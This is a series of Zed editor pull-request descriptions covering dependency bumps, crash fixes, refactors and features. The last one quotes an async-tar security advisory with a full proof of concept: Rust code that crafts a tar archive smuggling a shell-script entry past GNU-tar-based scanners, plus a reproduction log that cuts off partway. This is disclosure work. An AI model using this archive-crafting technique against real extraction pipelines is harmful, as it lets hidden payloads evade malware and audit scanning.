Bumps the treesitter version to include
https://github.com/tree-sitter/tree-sitter/pull/5851
Also makes some changes to `cx.spawn_dedicated` to make it work on web:
- remove the blocking `recv` on the main thread
- adds a new variant `TaskState::Rendezvous` to allow this code to
synchronously return a task
`TaskState::Rendezvous` is needed because of how
`spawn_dedicated_thread` works:
- the caller provides a callback that produces a non-`Send` `Future` on
the dedicated thread
- the callback is sent to the dedicated thread, executed, and the
resulting `Task` is sent back to the main thread
- this all happens synchronously, so that `spawn_dedicated_thread`
returns a synchronous `Task`
However, the blocking `recv` on the main thread traps on the main worker
in the browser.
This PR replaces that with a call to `recv_async`, but this requires a
new `Rendezvous` variant on `TaskState` which represents "a task that it
still waiting to receive the underlying handle from the dedicated
thread".
It also enables the `flume/spin` feature on the web, which is needed to
avoid a synchronous lock acquisition in `send` (it's replaced with a
spinlock). Note that `send_async` wouldn't work here because it acquires
the same lock, and it's unnecessary because `send` only blocks when the
channel is full, but it's an unbounded channel.
---
Release Notes:
- N/A or Added/Fixed/Improved ...
This switches to `async-tar` to point to our fork, which has a fix for a
bug that is causing the Cursor ACP agent fail to download in Zed, due to
Pax attributes.
We will switch back as soon as
https://github.com/dignifiedquire/async-tar/pull/73 is merged.
Closes#62655
Release Notes:
- Fixed an issue where the Cursor ACP agent would fail to start
# Objective
#60768 renamed the feature (action names, icon, TSV/PSV/SSV support)
from CSV-only to generic tabular data preview, but left the crate itself
named `csv_preview` — no longer accurate now that it handles any
delimited format.
## Solution
Renamed `crates/csv_preview` to `crates/tabular_data_preview` and
updated all references (workspace `Cargo.toml` members/dependencies,
`crates/zed/Cargo.toml`, `crates/zed/src/main.rs`,
`crates/zed/src/zed/quick_action_bar/preview.rs`). No behavior change.
> NOTE: Mechanical changes. Internal structs not renamed on purpose to
reduce git diff noise. Follow-up PRs will do the cleanup (also
mechanical changes)
## Testing
`cargo check -p tabular_data_preview` and `cargo check -p zed` build
clean; preview still opens for csv/tsv/psv/ssv files.
Zed still runs, everything still opens.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- N/A
---------
Co-authored-by: MrSubidubi <finn@zed.dev>
Extract parts of `platform_macos` to `gpui_apple` to be used as a shared
crate between `gpui_macos` and a future `gpui_ios` for iOS/iPadOS apps.
Release Notes:
- N/A
# Objective
Fixes#62529.
Prevent Python toolchain discovery from executing Apple's
`/usr/bin/python3` Command Line Tools shim when no active developer
Python exists. Executing that unresolved shim causes macOS to repeatedly
prompt users to install the Command Line Tools, even when Python is
managed through Nix, uv, or pyenv.
## Solution
Update Python Environment Tools (PET) to `bb8e046`, which includes
microsoft/python-environment-tools#506. That upstream change resolves
active Xcode and Command Line Tools Python executables from filesystem
state and skips unresolved macOS system Python shims before generic
process probing.
Adapt Zed to the updated PET API by:
- displaying the newly supported Hatch environment kind
- passing no refresh identifier when running in-process environment
discovery
## Testing
- `cargo check -p languages --locked`
- PET unit tests covering unresolved macOS system Python shims
- The Zed compilation check was run on Linux; the original dialog
reproduction was not manually tested on macOS.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
---
Release Notes:
- Fixed Python toolchain discovery prompting installation of Apple
Command Line Tools when using a separately managed Python installation.
Spotted
```
The package `block v0.1.6` currently triggers the following future incompatibility lints:
> warning: static of uninhabited type
> --> .../block-0.1.6/src/lib.rs:64:5
> |
> 64 | static _NSConcreteStackBlock: Class;
> | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> |
> = note: uninhabited statics cannot be initialized, and any access would be an immediate error
> = warning: this was previously accepted by the compiler but is being phased out; it will become a hard error in a future release!
> = note: for more information, see issue #74840 <https://github.com/rust-lang/rust/issues/74840>
The package `proc-macro-error2 v2.0.1` currently triggers the following future incompatibility lints:
> warning[E0365]: extern crate `proc_macro` is private and cannot be re-exported
> --> .../proc-macro-error2-2.0.1/src/lib.rs:494:13
> |
> 494 | pub use proc_macro;
> | ^^^^^^^^^^
> |
> = warning: this was previously accepted by the compiler but is being phased out; it will become a hard error in a future release!
> = note: for more information, see issue #127909 <https://github.com/rust-lang/rust/issues/127909>
> help: consider making the `extern crate` item publicly accessible
> |
> 277 | pub extern crate proc_macro;
> | +++
```
warnings recently.
The former is impossible to fix quickly as needs a migration to `objc2`,
but the latter is easily fixed by a version bump, ergo this PR.
Release Notes:
- N/A
While building Zed with nightly rustc I've noticed it doesn't compile
because of good old pathfinder_simd. It also emits a bunch of warnings
about use of f64 literals where f32 is expected, so I've fixed them - it
should make future upgrades more straightforward.
There is a bug on main and preview causes all terminal tool calls to
fail when:
- on windows
- sandboxing is not available (i.e. no WSL)
- sandboxing is enabled in settings (the default)
- the "warn windows-drive grants" setting is enabled (the default)
Example error:
<img width="352" height="79" alt="image"
src="https://github.com/user-attachments/assets/24affbec-f086-40eb-8827-ad74aabc6167"
/>
This PR fixes it by making sure we only show the check at the right time
---
Release Notes:
- N/A or Added/Fixed/Improved ...
Splits the crate graph.
Before, the compilation graph: `editor → picker_preview → search →
project_panel → open_path_prompt → recent_projects → title_bar →
collab_ui → zed`
After, the compilation graph: `editor → picker_preview → search →
agent_ui → sidebar → zed`
With sccache disabled and project fully built, `touch
crates/editor/src/editor.rs` and `cargo build -p zed` took time
Before (0500fd9ee9): 13.19s
After: 11.85s (-10.2% speed up)
Each commit contains a separate compilation instructions, and a test in
the final commit.
The main approach is to split coupled crates and replace them with
`zed_actions` and move some shared functionality into `git_ui_core` new,
shared module.
I've also tried to add a test to prevent common pitfalls, but not sure
I'm happy with the end result — can remove it if it looks too synthetic.
Release Notes:
- N/A
# Objective
Fixes#59952.
Zed crash-loops on launch. The faulting thread aborts inside the Rust
standard library while closing a directory handle during background
worktree scanning: `std`'s `DirStream::drop`
(`library/std/src/sys/fs/unix.rs`) `assert!`s that `closedir()` succeeds
unless the error is `EINTR`. That handle originates in
`RealFs::read_dir`, which wraps `std::fs::read_dir(path)` in
`stream::iter(...)` and carries the live `ReadDir` across async
boundaries; the worktree `BackgroundScanner` (`scan_dir` →
`forcibly_load_paths`) later drops the stream. If `closedir()` returns a
non-`EINTR` error (e.g. `EBADF` under file-descriptor pressure — seen
alongside repeated `unable to start FSEvent stream` warnings on a large
dependency tree), `std` panics inside `Drop`. Zed's
`crashes::panic_hook` turns any panic into `process::abort()`, and
because the same workspace is re-scanned every launch, this is a
permanent crash loop. (`catch_unwind` can't help: the hook aborts before
unwinding.)
## Solution
Stop relying on `std`'s asserting close. Add a `read_dir_entries(path)`
helper that reads entries eagerly so the directory handle is opened and
closed within a single call:
- On unix, read via libc (`opendir`/`readdir`/`closedir`) and
**deliberately ignore a failing `closedir`**, so a close error degrades
gracefully instead of aborting the process.
- On non-unix, keep `std::fs::read_dir` (which has no such assert) but
collect eagerly so the handle is dropped within the call.
`RealFs::read_dir` now calls this helper. The change is scoped to
`crates/fs/src/fs.rs`; the watcher, scanner, and panic hook are
untouched.
## Testing
- Added unit tests in `crates/fs/src/fs.rs` for `read_dir_entries`:
entry listing, `.`/`..` exclusion, empty directories, and the
missing-directory error path.
- `cargo test -p fs read_dir` → 3 passed.
- `RUSTFLAGS="-D warnings" cargo build -p fs`, `cargo clippy -p fs
--all-features --all-targets -- -D warnings`, and `cargo fmt -p fs
--check` are all clean.
- Tested on macOS (aarch64). The `fs` crate compiles within the full
`cargo build -p zed` graph. I could not produce a running app binary in
my environment (the `gpui_macos` Metal step needs full Xcode, not just
Command Line Tools) — reviewers on a full Xcode setup can `cargo run -p
zed`.
- The original `closedir` `EBADF` is not deterministically reproducible,
so the fix is structural rather than verified against a live repro; the
tests guard the read path and behavior.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards — N/A (no UI change)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
---
Release Notes:
- Fixed Zed crash-looping on launch when `closedir` fails during
background directory scanning
([#59952](https://github.com/zed-industries/zed/issues/59952)).
---------
Co-authored-by: Cole Miller <cole@zed.dev>
Closes FR-133
`cosmic-text`'s BiDi line shaping machinery (`ShapeLine::new`) asserts
that every BiDi paragraph is following the same direction. It turns out
that our `gpui_wgpu` line shaping adapter would not account for that
leading to panics if text contained multiple BiDi paragraphs with
multiple directions. Not super common but worth fixing as the fix is not
super complicated. At the same time, I'd like to point out that there is
a patch submitted to `cosmic-text` that redoes shaping logic so that
this is no longer illegal:
https://github.com/pop-os/cosmic-text/pull/508 If it gets accepted, we
can revert this fix.
Release Notes:
- Fixed panic in `gpui_wgpu` if text contained multiple BiDi paragraphs
with mismatched directions.
This consolidates the proxy code in `client/src/proxy` into a new
`proxy_handshake` crate that implements the client side of HTTP CONNECT
and SOCKS4/4a/5/5h handshakes sans-IO: the protocol logic is a pure
state machine that never touches a socket, with thin drivers behind
`futures-io` and `tokio` feature flags. `client` now drives the
websocket's proxy tunnel through the tokio driver, and the `tokio-socks`
dependency goes away.
The main win is testability: the handshakes are now covered by
synchronous byte-level tests on both sides of each exchange, plus a
property test that the outcome is invariant under how the proxy's bytes
are chunked across reads — the class of partial-read bug that's hard to
hit with hand-written tests but easy to hit in production behind a
buffering proxy. The crate is written as if it were standalone (no
zed-internal dependencies, structured errors instead of `anyhow`), which
is also why it grows both driver flavors rather than just the one
`client` needs today.
Two deliberate behavior changes, both converging on spec/curl semantics:
- Proxy credentials embedded in URLs are now percent-decoded before use,
per RFC 3986 §3.2.1. Previously they were sent in their encoded form,
which only worked for credentials with no reserved characters. A
password that literally contains something like `%40` and relied on the
old behavior now needs the RFC-correct `%2540` spelling.
- `NO_PROXY` is now honored for the collaboration connection, matching
the exclusions reqwest already applies to the rest of Zed's HTTP
traffic.
TLS to the proxy itself (for `https://` proxy URLs) and DNS policy stay
in `client`, since those are I/O concerns the sans-IO crate deliberately
doesn't own.
Release Notes:
- Improved proxy support: the collaboration connection now respects
`NO_PROXY` and percent-encoded proxy credentials.
# Objective
Unify dependencies inside of the root `Cargo.toml` to prevent versions
from going out of sync and creating copies of dependencies.
## Testing
- All tests pass, nothing touches the `Cargo.lock`
## Review
Review is easiest by going through commit by commit.
Release Notes:
- N/A or Added/Fixed/Improved ...
This reverts commit a98c7e2fa8.
# Objective
language detection is firing very often in channel notes, often picking
YAML instead of markdown, causing some language-detection flickering.
cc/ @amtoaer (author of the original PR)
# Objective
Closes#4868.
Untitled buffers start as Plain Text and require users to select a
language manually before receiving syntax highlighting. Add lightweight
automatic language detection for code entered or pasted into untitled
buffers.
## Solution
This builds on [Max Stevens's earlier language-detection
work](https://github.com/zed-industries/zed/pull/43057), replacing
Magika with [Betlang](https://github.com/DioxusLabs/betlang).
While researching smaller and faster alternatives to Magika, I came
across Betlang, a recently introduced language detection library
developed by DioxusLabs for dioxus-code. The fact that it comes from
DioxusLabs gave me more confidence in evaluating this relatively new
dependency for Zed. Betlang embeds an approximately 50 KB model, is
MIT-licensed, and depends only on `fearless_simd`, making it well suited
to Zed's cross-platform embedding requirements.
Detection runs on the background executor with bounded input sampling.
It is restricted to untitled buffers, skips content shorter than 20
bytes, and requires at least 50% confidence. These limits have worked
well in local testing. In release builds on Linux with an Intel Core
i5-13600KF, the `betlang::detect` call alone typically completes within
3 ms when processing the maximum sampled input.
## Testing
I added a test for language detection in untitled buffers that covers
both manually entered and pasted content. The test passes successfully.
I also manually tested the feature to verify that the overall experience
works well.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
## Showcase
https://github.com/user-attachments/assets/96e28ad7-2968-4325-9aff-37fe813a2da7
---
Release Notes:
- Added automatic language detection for untitled buffers.
---------
Co-authored-by: Max Stevens <maxstevens2708@gmail.com>
Closes#60424
## Problem
With the repro from #60424, staging the first deletion hunk marked the
second deletion as staged in the UI even though git still had it
unstaged, and clicking the (incorrectly shown) Unstage button inserted a
duplicate copy of the hunk's contents into the git index on every click.
The root cause is ambiguous hunk placement. The committed text contains
repeated `end\n\n` line runs, so the deletion hunks can "slide": more
than one placement produces a minimal diff. The uncommitted diff (HEAD
vs worktree) anchored the remaining deletion at one row while the
unstaged diff (index vs worktree), recomputed after the partial stage,
anchored the same logical deletion at a different row. Everything that
correlates hunks across those two diffs assumes they agree on positions:
- the secondary-status matching in `hunks_intersecting_range_impl` found
no unstaged hunk at the uncommitted hunk's rows and reported it as
staged (`NoSecondaryHunk`);
- the worktree→index projection in `compute_uncommitted_index_edits`
treated the hunk's position as unchanged text and, on unstage, inserted
the hunk's HEAD content at an index position that already contained it,
duplicating it on every request.
## Fix
Upgrade `imara-diff` from 0.1.8 to 0.2.0 and run
`Diff::postprocess_lines` (imara-diff's port of git's xdiff
slider/indent heuristic) after computing hunks in `buffer_diff`. This
canonicalizes the placement of ambiguous hunks based only on their local
content, so diffs of the same buffer against different base texts anchor
the same logical change at the same rows. A bonus is that Zed's hunk
placement now matches `git diff`'s output for such cases (git has used
the indent heuristic by default since 2.11).
As defense in depth, `compute_uncommitted_index_edits` now drops a
pure-insertion index edit whose content is already present at the target
position, so a stale secondary status can no longer duplicate index
content.
The imara-diff 0.2 API removed the `Sink` trait and the top-level
`diff()` function, so the other call sites (`language/text_diff.rs`,
`zeta_prompt/udiff.rs`, `edit_prediction_metrics/reversal.rs`) are
migrated mechanically to `Diff::compute` + `hunks()` with unchanged
behavior (0.2 also renamed `lines_with_terminator` to `lines` and
changed the default `&str` tokenization to include terminators; the
unified-diff builders keep terminator-less tokens via `str::lines()`).
## Testing
- New regression test `test_staging_hunks_with_ambiguous_placement`
replays the exact repro from #60424 (same file contents): stages the
first deletion, asserts the remaining hunks keep their unstaged status
and the index matches exactly, then issues repeated unstage requests for
the unstaged hunk and asserts the index is unchanged. Before the fix
this test showed the second hunk flipping to staged and the index
growing by one copy of the deleted block per unstage request.
- `buffer_diff`, `language`, `zeta_prompt`, `edit_prediction_metrics`,
`multi_buffer`, `git_ui`, `editor`, and the `project` integration suite
pass.
- One test expectation updated: `editor::test_fold_function_bodies`
asserted the old placement of an ambiguous deletion (blank line before
comment); the canonicalized placement (comment before blank line)
matches what `git diff` produces for the same texts.
Release Notes:
- Fixed staging a hunk sometimes marking a different hunk as staged (and
subsequent unstaging corrupting the git index) when the diff contained
repeated lines
([#60424](https://github.com/zed-industries/zed/issues/60424)).
---------
Co-authored-by: Cole Miller <cole@zed.dev>
This PR relaxes the workspace `core-foundation` pin from an exact
`=0.10.0` to `0.10`.
I am not sure why this is pinned - digging a bit did not turn up any
specific reason so I have to assume it was not on purpose. At the moment
you cannot use gpui with nusb 0.2 (which is muuuuuch improved over 0.1,
it's not a cosmetic update) for example because of this restriction.
I would much appreciate if this relaxation was in the realm of
possibilities :)
Release Notes:
- N/A
# Objective
Closes#59829
Provide a filterable, preview-backed picker for LSP results as an
alternative to the multi-buffer view, for references, definitions,
implementations.
## Solution
Update the 3 existing LSP actions (definitions, implementations, find
all references) to add a `open_results_in` parameter which accepts
either `multi_buffer` (default) or `picker` to show the results in a
filterable picker with preview. This behavior can be configured globally
in the settings via `lsp_results_location`.
UX:
- The 3 existing LSP actions each accept a `open_results_in` parameter
so that each action can be configuring individually with a custom
keybind
- The `lsp_results_location` global setting can be used to set a default
behavior with `open_results_in == None`
- Go to definition falls back to find all references (if configured) on
empty results which is consistent with the non-picker path
- Results are grouped by file; each row shows the line number and the
syntax-highlighted source line with the match emphasized.
- Typing filters by line text or path; the preview updates with the
selection.
- Enter/click opens the selection, `cmd/ctrl-enter` opens it in a split,
and re-invoking the command toggles the picker closed.
- Empty results show a toast so the command never silently does nothing.
- Note: the new pickers do not open on cmd-click, only when invoked via
the command palette or keybind
## Testing
- No automated tests yet — holding for first-round feedback on the
approach and UX before adding tests.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable
## Showcase
https://github.com/user-attachments/assets/41538f23-9b54-4dfc-bfa7-a61564a675a8
---
Release Notes:
- The find all references, go to definitions, and go to implementations
LSP actions can be configured to open results in a picker with preview
instead of a multibuffer.
This is necessary to remove some `util` dependencies from crates, as
well as better sharing for our projects. This also includes the WIP
AbsPath abstraction as well as some bug fixes from internal tooling.
Release Notes:
- N/A or Added/Fixed/Improved ...
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [async-tar](https://redirect.github.com/dignifiedquire/async-tar) |
workspace.dependencies | minor | `0.5.1` → `0.6.0` |
---
> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/15138) for more information.
---
### async-tar PAX extension-header desync enables tar entry/content
smuggling
[CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) /
[GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
<details>
<summary>More information</summary>
#### Details
##### Summary
`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an
intermediary
extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX
`x`/`g`
header) instead of to the next *file* entry. POSIX requires a PAX
extended-header
record set to describe the next file entry, never an intervening
extension
header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered
PAX
records into the size computation of whatever raw header it reads next —
and that
header can be an intermediary `L` — the stream cursor is advanced by an
attacker-chosen amount when the `L` body is consumed. The parser then
desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading
subsequent bytes
at the wrong block boundary.
An attacker who can influence a tar stream that an `async-tar` consumer
extracts
can construct an `x → L → file` sequence whose entry list and on-disk
result
differ between `async-tar` and a reference parser. This enables
content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as
benign opaque
data is extracted by `async-tar` as a different file with different
bytes (e.g. an
executable script), and vice versa.
Type confusion / improper validation of the specified quantity (size).
CWE-20,
CWE-843. Severity assessed Medium, consistent with the same defect class
in the
upstream tar-rs / tokio-tar lineage.
##### Affected code
Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest
release) and
current `main` HEAD. Both lack the extension-header guard.
`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,
commit `45814b19295b7398e119c90c57d8c8bf70a798b6`):
```rust
let file_pos = *next;
let mut header = current_header.take().unwrap();
// when pax extensions are available, the size should come from there.
let mut size = header.entry_size()?;
// the size above will be overriden by the pax data if it has a size field.
// same for uid and gid, which will be overridden in the header itself.
if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard
let pax = pax_extensions(pax_extensions_data);
for extension in pax {
let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
let Some(key) = extension.key().ok() else { continue };
match key {
"size" => {
let size_str = extension.value()
.map_err(|_e| other("failed to parse pax size as string"))?;
size = size_str.parse::<u64>()
.map_err(|_e| other("failed to parse pax size"))?;
}
"uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
"gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
_ => { continue }
}
}
}
let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size
```
and a few lines further down the same function:
```rust
// Store where the next entry is, rounding up by 512 bytes.
let size = (size + 511) & !(512 - 1);
*next += size; // cursor advance = mis-applied PAX size
```
The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX
local
extension into `current_pax_extensions` and then calls `poll_next_raw`
with
`current_pax_extensions.as_deref()` for the *next* raw header. When that
next
raw header is an intermediary GNU longname (handled by the
`is_gnu_longname()`
branch a few lines later), the PAX `size` is applied to it, so `*next`
advances by
the spoofed size rather than the `L` header's own declared size. That is
the
desync.
The buffered PAX records are intended to apply only to the following
*file*
entry; the missing check is whether the raw header currently being sized
is itself
an extension header (`L`/`K`/`x`/`g`).
##### Impact
Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with `async-tar` (e.g. a server endpoint
that
unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that
unpacks
a remote tarball, an archive-preview/scan pipeline) will:
- materialize files / file contents that a POSIX-correct parser (GNU
tar,
libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.
This breaks any security control that relies on scanning the archive
with one
parser and extracting with `async-tar`: a malware/secret scanner reading
the
stream with GNU tar can be made to see only benign data while
`async-tar` writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer
believes
holds something else. No attacker-controlled local state is required —
only the
ability to influence the bytes of the tar stream that the consumer
extracts.
##### How input reaches the sink (reachability)
The vulnerable path is the library's primary public API for reading
archives:
`Archive::new(reader).entries()` returns an `Entries` stream whose
`poll_next`
drives `poll_next_raw` for every header. Any consumer that iterates
entries (or
calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream
reaches
the sink with no additional configuration. The `reader` need not be a
file — it is
any `AsyncRead`, so an upload buffer, an HTTP response body, or a
decompressor
output all qualify. The only precondition for the desync is that the
stream
contain a PAX local-extension header (`x`) carrying a `size` record
immediately
followed by an intermediary GNU longname (`L`) before the next file
header — a
structure the attacker fully controls in the archive bytes.
Representative
reachable consumers are server endpoints that unpack uploaded
`.tar`/`.tar.gz`
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.
##### Proof of concept
A standalone Rust consumer binary that links the published crates.io
`async-tar = "=0.6.0"` (`default-features = false, features =
["runtime-tokio"]`)
and runs the real `Archive::new(...).entries()` extraction loop (the
same shape
used by real downstream server consumers that unpack uploaded tarballs).
It reads
a tar file and writes each entry to a destination directory, printing
the entry
list `async-tar` surfaces. A second binary hand-crafts the malicious and
benign
tar byte streams.
Malicious archive geometry (block = 512 bytes):
```
B0 x PAX local-extension header, records declare size=1024 (= 2 blocks)
B1 PAX records ("<len> size=1024\n")
B2 L GNU longname header, OWN declared size = 512 (= 1 block)
B3 longname block #​1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses)
B4 a normal file header "placeholder_A" (size 512)
B5 <-- this block IS a valid tar header for the smuggled file
"hidden_payload.sh" (size 65)
B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8 two zero blocks (EOF)
```
GNU tar honours the `L` header's own declared size (1 block) for the
longname and
ignores the buffered PAX `size`, so it reads B3 as the longname, treats
B4 as the
file, and reads B5 as that file's opaque data. `async-tar` mis-applies
the PAX
`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands
its cursor
on B5, parses it as a tar header, and extracts the smuggled
`hidden_payload.sh`
body (B6).
Tar-builder source (`mktar.rs`):
```rust
use std::io::Write;
const BLOCK: usize = 512;
fn octal(buf: &mut [u8], v: u64) {
let s = format!("{:0width$o}", v, width = buf.len() - 1);
let b = s.as_bytes();
buf[..b.len()].copy_from_slice(b);
buf[b.len()] = 0;
}
fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
let mut h = [0u8; BLOCK];
let n = name.len().min(100);
h[..n].copy_from_slice(&name[..n]);
octal(&mut h[100..108], 0o644);
octal(&mut h[108..116], 0);
octal(&mut h[116..124], 0);
octal(&mut h[124..136], size);
octal(&mut h[136..148], 0);
h[156] = typeflag;
if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); }
else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
for b in &mut h[148..156] { *b = b' '; }
let sum: u32 = h.iter().map(|b| *b as u32).sum();
h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
h
}
fn pad(out: &mut Vec<u8>, len: usize) {
let rem = len % BLOCK;
if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
let mut len = key.len() + val.len() + 3;
loop {
let s = format!("{} {}={}\n", len, key, val);
if s.len() == len { return s.into_bytes(); }
len = s.len();
}
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }
fn build_malicious() -> Vec<u8> {
let mut out = Vec::new();
let gnu_name = b"GNU_SEES_THIS.txt";
let spoof = (BLOCK * 2) as u64;
let mut recs = Vec::new();
recs.extend(pax_record("size", &spoof.to_string()));
out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
write_block(&mut out, &recs);
out.extend_from_slice(&header(b"././@​LongLink", BLOCK as u64, b'L'));
out.extend_from_slice(&name_block(gnu_name)); // B3
out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
write_block(&mut out, &smuggled_body); // B6
out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
out
}
fn build_benign() -> Vec<u8> {
let mut out = Vec::new();
let mut recs = Vec::new();
recs.extend(pax_record("path", "normal_file.txt"));
out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
write_block(&mut out, &recs);
let body = b"plain benign content\n".to_vec();
out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
write_block(&mut out, &body);
let body2 = b"second benign file\n".to_vec();
out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
write_block(&mut out, &body2);
out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
out
}
fn main() {
let a: Vec<String> = std::env::args().collect();
let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
```
Consumer source (`main.rs`, mirrors a real `Archive::entries()`
extraction loop):
```rust
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;
#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
let args: Vec<String> = std::env::args().collect();
let dest = std::path::PathBuf::from(&args[2]);
fs::create_dir_all(&dest).await.unwrap();
let bytes = fs::read(&args[1]).await.unwrap();
let archive = Archive::new(std::io::Cursor::new(bytes));
let mut entries = archive.entries().expect("entries()");
let mut idx = 0usize;
while let Some(entry) = entries.next().await {
let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
let path_raw = file.path().expect("path").into_owned();
let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
let hdr_size = file.header().size().unwrap_or(0);
let mut out = dest.clone();
for comp in std::path::PathBuf::from(&path_disp).components() {
if let std::path::Component::Normal(p) = comp { out.push(p); }
}
let mut body = Vec::new();
let read = file.read_to_end(&mut body).await.unwrap_or(0);
if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
let _ = fs::write(&out, &body).await;
let preview: String = body.iter().take(48)
.map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
idx += 1;
}
println!("[async-tar] total entries surfaced: {idx}");
}
```
`Cargo.toml`:
```toml
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
```
##### End-to-end reproduction
Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release
linked by
the consumer binary above. Verbatim captured output:
```
$ cargo build --release # links async-tar v0.6.0 from crates.io
Compiling async-tar v0.6.0
Compiling async-tar-consumer v0.1.0
Finished `release` profile [optimized] target(s) in 10.12s
$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar
##### ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh
##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.)
##### ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
